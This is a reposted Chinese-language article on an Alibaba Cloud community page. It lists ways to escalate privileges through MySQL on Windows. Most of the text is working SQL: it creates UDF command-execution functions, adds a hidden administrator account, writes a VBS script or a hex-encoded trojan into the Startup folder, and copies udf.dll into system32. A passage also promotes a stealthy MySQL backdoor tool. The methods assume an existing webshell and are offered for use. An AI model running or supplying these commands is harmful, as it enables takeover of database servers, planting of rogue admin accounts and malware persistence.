轉載:windows的mysql提權方式

來源:互聯網
上載者:User

標籤:

mysql提權語句歸納如下:

一 UDF提權

這類提權方法我想大家已經知道了,我大致寫一下,具體語句如下:

create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user [email protected]#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:/web/3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);

二 VBS啟動項提權

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user [email protected]#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C://Documents and Settings//All Users//「開始」菜單//程式//啟動//a.vbs";

先在webshell裡串連上資料庫,建立表,將VBS寫入表裡,然後匯入啟動項,如果UDF提權不行的話也可以嘗試下這個方法,前提是要有ROOT許可權,後面有個,0表示不彈出CMD視窗,安靜的運行。

還可以這樣寫:

create table a (cmd BLOB);
insert into a values (CONVERT(木馬的16進位代碼,CHAR));
select * from a into dumpfile ’C://Documents and Settings//All Users//「開始」菜單//程式/啟動//mm.exe’
drop table a;
執行前3條語句,就可以將木馬寫進啟動裡了,前提是木馬一定要是16進位,還有就是路徑要是//,因為windows會自動過濾掉一個/

三 Linx Mysql BackDoor提權

Linx Mysql Door

Mysql BackDoor是一款針對PHP+Mysql伺服器開發的後門,該後門安裝後為Mysql增加一個可以執行系統命令的"state"函數,並且隨Mysql進程啟動一個基於Dll的嗅探型後門,這個後門在Windows下擁有與Mysql一樣的系統許可權,從而巧妙的實現了無連接埠,無進程,無服務的穿牆木馬.

用法:將Mysql.php傳到PHP伺服器上,點擊"自動安裝Mysql BackDoor",然後直接執行命令即可
四,MIX.DLL提權

create table temp_mix(abc longblob);
insert into temp_mix values(load_file(’D://web//udf.dll’));
select * from temp_mix into dumpfile ’C://Windows//system32//udf.dll’;
create function MyCmd returns string soname ’udf.dll’;
select MyCmd(’net user’);
drop table if exists temp_mix;

前三句主要目的是把DLL放到系統目錄.第4句建立函數.然後就可以執行系統命令了。而最容易出問題的就是第4句:can’t open shared library ’udf.dll’(error 2);就說下他.

先前的時候.有次提權.可以建立函數.也忘了什麼原因了.需要重建立下這個函數.首先百度了下.說得是:drop function MyCmd; 就可以刪到已經建立的函數.測試了下.發現還是不行.然後繼續找的時候.說這是MYSQL的一個BUG.可以執行如下語句:delete from mysql.func where name=’MyCmd’;.測試了下成功了.前天再次盯著螢幕上的can’t open shared library ’udf.dll’.又看到了這條delete語句.我們知道delete就是刪除.是刪的表裡的東西.刪下表就可以刪了函數了?那反過來.建立函數是不是就是往表裡插入一條新記錄?而且是mysql.func.也就是mysql這個庫裡的func表.呵呵.看名字也象.測試一番後.得出如下結果:

在提權的時候.建立函數顯示can’t open shared library ’udf.dll’.就乾脆跳過這句.執行另外一句.或者說.把第4句換成:insert into mysql.func values(’MyCmd’,0,’udf.dll’,’function’);.說下func這個表的結構:4列.name,return,dl,fun.第二列和第四列的名字記不大清楚了.但意思一樣.有興趣可以自己select * from func;下就知道了.第一列就是建立函數的名字.字串.第二列是傳回值.填0.第三列dl指函數所在的dll名字.字串類型.這裡為我們導到系統目錄裡的dll名.不一定是udf.dll.只要跟你匯出的一樣就行.第四列作用不清楚.但是填上funciton這個字串就能用.應該是指這個是個函數吧…因為這隻是個插入操作.所以只要是root.應該不會有錯誤的.後面的就一樣了.select MyCmd(’whoami’);.但是別急!這裡有個前提:需要重啟MYSQL..我對MYSQL不瞭解.但是重啟後建立的函數絕對可用.貌似有別的辦法可以達到同樣的效果.好象是flush.但是具體flush哪裡.就不知道了.不過不是許可權.也不是func表.試過了.而且MYSQL下.搜了很久也沒找到root在MYSQL下通過命令重啟的.

轉載:windows的mysql提權方式

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.